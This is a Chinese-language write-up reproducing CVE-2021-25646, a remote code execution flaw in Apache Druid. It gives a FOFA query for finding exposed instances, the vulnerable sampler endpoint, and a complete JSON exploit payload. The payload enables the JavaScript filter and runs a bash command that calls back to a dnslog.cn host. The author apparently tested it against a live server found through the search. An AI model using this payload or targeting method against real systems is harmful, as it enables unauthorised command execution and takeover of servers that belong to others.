Apache Druid远程代码执行漏洞复现(CVE-2021-25646)
漏洞描述
Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。此功能在用于高信任度环境中,默认已被禁用。但是,在Druid 0.20.0及更低版本中,经过身份验证的用户发送恶意请求,利用Apache Druid漏洞可以执行任意代码。攻击者可直接构造恶意请求执行任意代码,控制服务器。
影响版本
Apache Druid < 0.20.1
漏洞环境以及复现
fofa搜索:title=“Apache Druid”
打开第一个网址,访问特定目录,目录存在:/druid/indexer/v1/sampler
利用bp抓包,发送payload:
查看dnslog:
命令执行成功!!!
payload:
{
"type":"index","spec":{
"type":"index",
"ioConfig":{
"type":"index","inputSource":{
"type":"http",
"uris":["https://www.baidu.com"]
},"inputFormat":{
"type":"tsv",
"findColumnsFromHeader":true
}
},"dataSchema":{
"dataSource":"sample",
"timestampSpec":{
"column":"timestamp",
"missingValue":"2010-01-01T00:00:00Z"
},"dimensionsSpec":{},
"transformSpec":{
"transforms":[],
"filter":{
"type": "javascript",
"function": "function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 ping aasdasdd.u6zdp0.dnslog.cn')}",
"dimension": "added",
"": {
"enabled": "true"
}
}
}
},"type":"index",
"tuningConfig":{
"type":"index"
}
},"samplerConfig":{
"numRows":50,
"timeoutMs":10000
}
}
最后
以上仅为验证漏洞存在,切勿用于实战,造成影响与作者无关。